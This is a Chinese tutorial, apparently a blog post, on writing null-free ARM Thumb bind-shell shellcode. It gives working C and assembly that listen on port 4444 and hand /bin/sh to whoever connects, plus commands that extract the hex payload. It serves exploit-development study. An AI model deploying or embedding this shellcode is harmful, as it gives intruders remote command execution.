作为一个bind shell,也就是在服务器上运行的shellcode,等待hacker去主动连接,所以它的主要工作就是监听固定端口,等待外部连接即可
C代码(Linux,都是使用man命令查询的命令介绍)
指令 | 介绍 |
---|---|
socket |
int socket(int domain, int type, int protocol); 创建通信端点并返回描述符 |
bind |
int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen); 由socket创建的套接字只存在命名空间,并没有分配地址,所以由bind来分配实际地址给套接字 |
listen |
int listen(int sockfd, int backlog); 将sockfd引用的套接字标记成被动 的套接字,开启监听状态,等待网络连接的连入 |
accept |
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); 获取监听套接字上等待连接队列的第一个连接请求,如果成功,则返回这个接受的套接字描述符 |
dup2和stdin的使用
,从dup2(fd, 0);
开始,把标准输入的描述符的位置改成了1.txt的文件的描述符
,也就是scanf
从命令行的标准输入流读入内容,强行改成了从文件1.txt读入内容
int main()
{
int fd = open("1.txt",O_RDWR);
char buff[10];
dup2(fd, 0);
scanf("%s", buff);
printf("\nThe content you input is : %s", buff);
return 0;
}
dup2和execve
:下面的代码,首先将输入、输出
全部改成了1.txt文件的标识符
,所以下面execve执行了sh命令后,从1.txt文件中读取输入、并且将结果返回给1.txt。当然如果想输出到命令行上,可以注释掉dup2(fd,1);
这句标准输出流的标识符的更改
int main()
{
int fd = open("1.txt",O_RDWR);
char buff[10];
dup2(fd, 0);
dup2(fd,1);
execve("/bin/sh", NULL, NULL);
printf("\nThe content you input is : %s", buff);
return 0;
}
最终的bind shell的C代码
#include <sys/socket.h>
#include <stdio.h>
#include <sys/types.h>
#include <netinet/in.h>
int fd_socket;
struct sockaddr_in hostaddr;
int main()
{
//create a TCP socket
fd_socket = socket(AF_INET, SOCK_STREAM, 0);
//绑定本地地址,这里使用的IPv4协议,所以使用sockaddr_in结构体,具体man 7 ip查询
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(4444);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(fd_socket, (struct sockaddr*)&hostaddr, sizeof(hostaddr));
//将这个socket转成监听状态,等待socket连接过来
listen(fd_socket, 2);
//获取并建立连接和连接过来的socket队列中的第一个连接,这是单对单的socket
//不指定特定ip地址端口的客户端socket,所以后面两个参数为null
int fd_client = accept(fd_socket, NULL, NULL);
//将输入、输出、错误流都导向accept建立好的socket标识符
dup2(fd_client, 0);
dup2(fd_client, 1);
dup2(fd_client, 2);
//获取输入缓冲区数据并输出到标准输出标识符中去
execve("/bin/sh", NULL, NULL);
close(fd_socket);
return 0;
}
汇编bind shell过程
根据C代码获取关键函数的系统调用号
、参数
grep -R "socket" /usr/include/arm-linux-gnueabihf/asm/
找到的结果,很明显我们需要第二个:
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socketcall (__NR_SYSCALL_BASE+102)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socket (__NR_SYSCALL_BASE+281)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socketpair (__NR_SYSCALL_BASE+288)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#undef __NR_socketcall
/usr/include/arm-linux-gnueabihf/asm/socket.h:#include <asm-generic/socket.h>
grep -R "bind" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_bind (__NR_SYSCALL_BASE+282)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_mbind (__NR_SYSCALL_BASE+319)
grep -R "listen" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_listen (__NR_SYSCALL_BASE+284)
grep -R "accept" /usr/include/arm-linux-gnueabihf/asm/
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept (__NR_SYSCALL_BASE+285)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept4 (__NR_SYSCALL_BASE+366)
从上面提取到我们需要的系统函数的调用号,还需要一步就是基地址地址__NR_SYSCALL_BASE
,grep -R "__NR_SYSCALL_BASE" /usr/include/arm-linux-gnueabihf/asm/
查询的值是:/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_SYSCALL_BASE 0
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_socket (__NR_SYSCALL_BASE+281)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_bind (__NR_SYSCALL_BASE+282)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_listen (__NR_SYSCALL_BASE+284)
/usr/include/arm-linux-gnueabihf/asm/unistd.h:#define __NR_accept (__NR_SYSCALL_BASE+285)
参数查询:
通过man命令
首先需要解决空字节
的出现问题,我么采用thumb指令集来尽量避免
.global _start
_start:
.code 32
//switch to thumb
add r3, pc, #1
bx r3
然后开始第一条语句的汇编代码fd_socket = socket(AF_INET, SOCK_STREAM, 0);
:先找到的需要的参数值,然后找到存放参数的寄存器。
首先通过下面的查询命令获取参数的值(第三个参数使用man socket看参数简介时,提醒你看protocols
来,man 5 protocols
进入man页面,介绍说在/etc/protocols
文件里就可以看到所有种类协议的协议标号
,这里根据socket的page页介绍,只使用一个协议,所以使用0,伪协议即可),下面是其他两个参数的查询过程
grep -R "AF_INET" /usr/include
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET
然后grep -R "AF_INET\|PF_INET\|SOCK_STREAM" /usr/include
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2 /* IP protocol family. */
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
这里还要引入合法立即数的概念:最终合法可用的立即数是任意8位
(<=255)立即数经过循环右移任意24位
(<=30),为什么要乘以2*,要保证8位立即数可以在32位地址上移动。最终合法立即数区间:[0,FF00 00000]
,这是带符号立即数,最高位标识正负
ARM指令集的合法立即数
arm指令集合法立即数判断脚本-github
v = n ror 2*r
v:合法、可以使用的立即数
n:8bit的立即数
r:4bit的循环右移操作数
THUMB指令集的合法立即数
0-255
根据引入的知识点,来确定系统调用号
的选取([arm指令集合法立即数判断脚本-github],注意THUMB指令集合法立即数0-255(https://github.com/xiongchaochao/repository/blob/master/Tools/LegalImmediate.py))
c:\Users\xxxxx\Downloads>python LegalNumber.py 281
illegal immediate: 281
c:\Users\xiongchaochao\Downloads>python LegalNumber.py 255
Legal Immediate: 255
[+]255 >> 0
c:\Users\xiongchaochao\Downloads>python LegalNumber.py 26
Legal Immediate: 26
[+]26 >> 0
问题代码,出现报错bind_shell.s: Assembler messages: bind_shell.s:20: Error: immediate value out of range
经过查询修改发现,是应为THUMB
指令集的原因,THUMB指令集下:
ADD Rd,Rn,#expr3
或者ADD Rd,#expr8
expr3 3 位立即数,即0~7。
expr8 8 位立即数,即0~255。
arm各种详细指令文档
4 .global _start
5
6 _start:
7 mov r1, #2147483648
8 .code 32
9 //switch to thumb
10 add r3, pc, #1
11 bx r3
12
13
14 .code 16
15 //create a socket,先写入参数,然后svc系统调用
16 mov r0, #2
17 mov r1, #1
18 mov r2, #0
19 mov r3, #255
20 add r7, r3, #26
21 svc #1
22 mov r4, r0
修改后的代码:
.global _start
_start:
mov r1, #2147483648
.code 32
//switch to thumb
add r3, pc, #1
bx r3
.code 16
//create a socket
mov r0, #2
mov r1, #1
mov r2, #0
mov r7, #255
add r7, #26
svc #1
mov r4, r0
现在开始下一句主要是bind(fd_socket, (struct sockaddr*)&hostaddr, sizeof(hostaddr));
,前面几句参数的赋值操作。在使用man bind
后,其他两个参数都还好理解并选择给定的参数赋值既可,但是第二个参数const struct sockaddr *addr
,这个结构体初次看见不太理解,他会让你去看下面的例子,大致能知道他是让你填写ip地址段口号之类,下面我们来追踪下这个结构体,看具体怎么来赋值使用
struct sockaddr {
sa_family_t sa_family;
char sa_data[14];
}
从man bind页可以知道它主要来源于#include <sys/socket.h>
,所以find /usr -name "socket.h"
,可以找到sys路径下只有一个文件位置/usr/include/arm-linux-gnueabihf/sys/socket.h
,这里的内容我是选择在线看的,内容一致,并且可以很方便的查询函数的声明和实例。在这里可以找到bind
的代码
/* Give the socket FD the local address ADDR (which is LEN bytes long). */
extern int bind (int __fd, __CONST_SOCKADDR_ARG __addr, socklen_t __len)
__THROW;
这里将const struct sockaddr *
结构体指针进行了宏定义,看代码作者怎么说的:GCC2.7以后,可以使用下面列表类型中的任意一个,而不会出问题。但是
GCC2.7不支持透明联合
,所以也需要旧版的声明。
bind函数主要用到下面的__CONST_SOCKADDR_ARG
,也就是被声明成了透明联合体
,可以使用__SOCKADDR_ALLTYPES
内的任意类型结构体。
/* This is the type we use for generic socket address arguments.
With GCC 2.7 and later, the funky union causes redeclarations or
uses with any of the listed types to be allowed without complaint.
G++ 2.7 does not support transparent unions so there we want the
old-style declaration, too. */
#if defined __cplusplus || !__GNUC_PREREQ (2, 7) || !defined __USE_GNU
//上面条件语句:__GNUC_PREREQ --如果GCC版本不是2.7或者之后的就执行下面的宏定义
# define __SOCKADDR_ARG struct sockaddr *__restrict
# define __CONST_SOCKADDR_ARG const struct sockaddr *
//根据上面的条件分析,那么下面的宏定义实现的条件就是GCC版本是2.7及其之后的,执行
#else
/* Add more `struct sockaddr_AF' types here as necessary.
These are all the ones I found on NetBSD and Linux. */
# define __SOCKADDR_ALLTYPES \
__SOCKADDR_ONETYPE (sockaddr) \
__SOCKADDR_ONETYPE (sockaddr_at) \
__SOCKADDR_ONETYPE (sockaddr_ax25) \
__SOCKADDR_ONETYPE (sockaddr_dl) \
__SOCKADDR_ONETYPE (sockaddr_eon) \
__SOCKADDR_ONETYPE (sockaddr_in) \
__SOCKADDR_ONETYPE (sockaddr_in6) \
__SOCKADDR_ONETYPE (sockaddr_inarp) \
__SOCKADDR_ONETYPE (sockaddr_ipx) \
__SOCKADDR_ONETYPE (sockaddr_iso) \
__SOCKADDR_ONETYPE (sockaddr_ns) \
__SOCKADDR_ONETYPE (sockaddr_un) \
__SOCKADDR_ONETYPE (sockaddr_x25)
# define __SOCKADDR_ONETYPE(type) struct type *__restrict __##type##__;
typedef union { __SOCKADDR_ALLTYPES
} __SOCKADDR_ARG __attribute__ ((__transparent_union__));
# undef __SOCKADDR_ONETYPE
//将上面列出的结构体,生成对应的const struct type *__restrict __##type##__;类型的结构体,type传入参数改变
# define __SOCKADDR_ONETYPE(type) const struct type *__restrict __##type##__;
//bind 函数。中的结构体主要是用到了这里的__CONST_SOCKADDR_ARG
typedef union { __SOCKADDR_ALLTYPES
} __CONST_SOCKADDR_ARG __attribute__ ((__transparent_union__));
# undef __SOCKADDR_ONETYPE
#endif
查询(grep -R "sockaddr_in {" /usr/include )上面列出的的结构体,最用可以确定sockaddr_in
,查到/usr/include/linux/in.h
这个文件,就查到了具体需要赋值的结构体的具体位置 。我们可以根据grep -R "__SOCKADDR_COMMON " /usr/include
这个命令找到__SOCKADDR_COMMON 具体定义的地方,会知道这个变量的具体分配的字节数,在介绍结尾它提示/* bits/sockaddr.h */
,我们找到这个文件内,我们可以找到这个变量,并且看到它具体存储的是socket地址的地址族
信息,并且这个文件内部就有很多地址族
的很多声明
struct sockaddr_in
{
__SOCKADDR_COMMON (sin_); /* 2字节*/
in_port_t sin_port; /* Port number. 2字节*/
struct in_addr sin_addr; /* Internet address. 4字节*/
/*寻找指令:grep -R "__u32" /usr/include | grep "typedef"*/
/* Pad to size of `struct sockaddr'. 填充到结构体sockaddr的大小。 16-2-2-4=8字节,也就是说通用结构体sockaddr长度16,
上面用到了8字节具体数据,剩余需要填充的空间大小8字节*/
unsigned char sin_zero[sizeof (struct sockaddr) -
__SOCKADDR_COMMON_SIZE -
sizeof (in_port_t) -
sizeof (struct in_addr)];
};
准备工作基本完成,下面是完整的bind本地地址的汇编代码。需要注意的是为了尽量避免空字节,先把地址0.0.0.0
改成1.1.1.1
,执行时使用strb
修改回来。还有就是最后一个nop
指令是为了所有指令对齐。还有就是bind的第三个参数,sockaddr结构体的长度
是固定值16,可以通过查看这个结构体声明代码处的类型,来判断大小
24 //bind local address
25
26 adr r1, local_addr
27 strb r2, [r1, #1]
28 strb r2, [r1, #4]
29 strb r2, [r1, #5]
30 strb r2, [r1, #6]
31 strb r2, [r1, #7]
32 mov r2, #16
33 add r7, #1
34 svc #1
35 nop
36
37
38 local_addr:
39 .ascii "\x02\xff"
40 .ascii "\x11\x5c"
41 .byte 1,1,1,1
下面是listen
:本地socket进入监听状态,等待远程socket连接过来
accept
:从连过来的队列中选取第一个连接请求,根据这个请求创建一个新的socket用于双方通信,并返回这个通信通道socket的描述符
//start listen
//listen(sockfd, max_number_socket_connect)
mov r0, r4
mov r1, #3
add r7, #2
svc #1
//accept(sockfd, *addr, *addrlen)
mov r0, r4
sub r1, r1, r1
sub r2, r2, r2
add r7, #1
svc #1
//socket channel
mov r4, r0
最后一步,我们将标准输入流描述符
、标准输出流描述符
、标准报错流描述符
,都导向这个socket描述符,再配合执行执行/bin/sh
,这个sh指令会根据标准输入流描述符
读取数据并执行,然后将输出、报错数据都输出到标准输出流
的描述符、标准报错流
的描述符,这样就可以从socket通道传输指令执行然后返回执行结果了。可以使用grep -R "STDERR" /usr/include | grep "define"
来查看这三个标识符的值
//dup2(newfd, oldfd)
mov r0, r4
sub r1, r1, r1
mov r7, #63
svc #1
mov r0, r4
mov r1, #1
svc #1
mov r0, r4
mov r1, #2
svc #1
//execve--11
adr r0, shell_command
eor r1, r1, r1
sub r2, r2, r2
strb r1, [r0, #7]
mov r7, #11
svc #1
nop
local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1
shell_command:
.ascii "/bin/shX"
最终代码
.section .text
.global _start
_start:
.code 32
//switch to thumb
add r3, pc, #1
bx r3
.code 16
//create a socket
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81
svc #1
mov r4, r0
//bind local address
adr r1, local_addr
strb r2, [r1, #1]
strb r2, [r1, #4]
strb r2, [r1, #5]
strb r2, [r1, #6]
strb r2, [r1, #7]
mov r2, #16
add r7, #1
svc #1
nop
//start listen
//listen(sockfd, max_number_socket_connect)
mov r0, r4
mov r1, #3
add r7, #2
svc #1
//accept(sockfd, *addr, *addrlen)
mov r0, r4
sub r1, r1, r1
sub r2, r2, r2
add r7, #1
svc #1
mov r4, r0
//dup2(newfd, oldfd)
mov r0, r4
sub r1, r1, r1
mov r7, #63
svc #1
mov r0, r4
mov r1, #1
svc #1
mov r0, r4
mov r1, #2
svc #1
//execve--11
adr r0, shell_command
eor r1, r1, r1
sub r2, r2, r2
strb r1, [r0, #7]
mov r7, #11
svc #1
nop
local_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1
shell_command:
.ascii "/bin/shX"
编译汇编代码: as bind_shell.s -o bind_shell.o && ld -N
bind_shell.o -o bind_shell(务必加上-N
参数,否则部分内存会是只读,但是代码中有strb写内存操作,会导致编译失败)
检查代码中是否存在空字符:objdump -d bind_shell.o(看第二列的指令即可)
bind_shell.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 2002 movs r0, #2
a: 2101 movs r1, #1
c: 1a92 subs r2, r2, r2
e: 27c8 movs r7, #200 ; 0xc8
10: 3751 adds r7, #81 ; 0x51
12: df01 svc 1
14: 1c04 adds r4, r0, #0
16: a112 add r1, pc, #72 ; (adr r1, 60 <local_addr>)
18: 704a strb r2, [r1, #1]
1a: 710a strb r2, [r1, #4]
1c: 714a strb r2, [r1, #5]
1e: 718a strb r2, [r1, #6]
20: 71ca strb r2, [r1, #7]
22: 2210 movs r2, #16
24: 3701 adds r7, #1
26: df01 svc 1
28: 46c0 nop ; (mov r8, r8)
2a: 1c20 adds r0, r4, #0
2c: 2103 movs r1, #3
2e: 3702 adds r7, #2
30: df01 svc 1
32: 1c20 adds r0, r4, #0
34: 1a49 subs r1, r1, r1
36: 1a92 subs r2, r2, r2
38: 3701 adds r7, #1
3a: df01 svc 1
3c: 1c04 adds r4, r0, #0
3e: 1c20 adds r0, r4, #0
40: 1a49 subs r1, r1, r1
42: 273f movs r7, #63 ; 0x3f
44: df01 svc 1
46: 1c20 adds r0, r4, #0
48: 2101 movs r1, #1
4a: df01 svc 1
4c: 1c20 adds r0, r4, #0
4e: 2102 movs r1, #2
50: df01 svc 1
52: a005 add r0, pc, #20 ; (adr r0, 68 <shell_command>)
54: 4049 eors r1, r1
56: 1a92 subs r2, r2, r2
58: 71c1 strb r1, [r0, #7]
5a: 270b movs r7, #11
5c: df01 svc 1
5e: 46c0 nop ; (mov r8, r8)
00000060 <local_addr>:
60: 5c11ff02 .word 0x5c11ff02
64: 01010101 .word 0x01010101
00000068 <shell_command>:
68: 6e69622f .word 0x6e69622f
6c: 5868732f .word 0x5868732f
将ELF格式可执行文件转换成二进制文件: objcopy -O binary bind_shell bind_shell.bin
提取十六进制shellcode: hexdump -v -e '"\\""x" /1 "%02x" ""' bind_shell.bin
详细命令可以man hexdump
,也可以看附录参考文章中的中文版详解
参考文章:
dup与dup2函数详解
I/O重定向的原理和实现: dup、stdin、stdout
Browse the source code of Qt | GLibc | LLVM | Boost | GCC | Linux
msdn上面相关函数的api介绍,socket、bind、listen等
MSDN上的数据类型相关介绍:比如多少字节数
中文版的hexdump指令详解(http://man.linuxde.net/hexdump)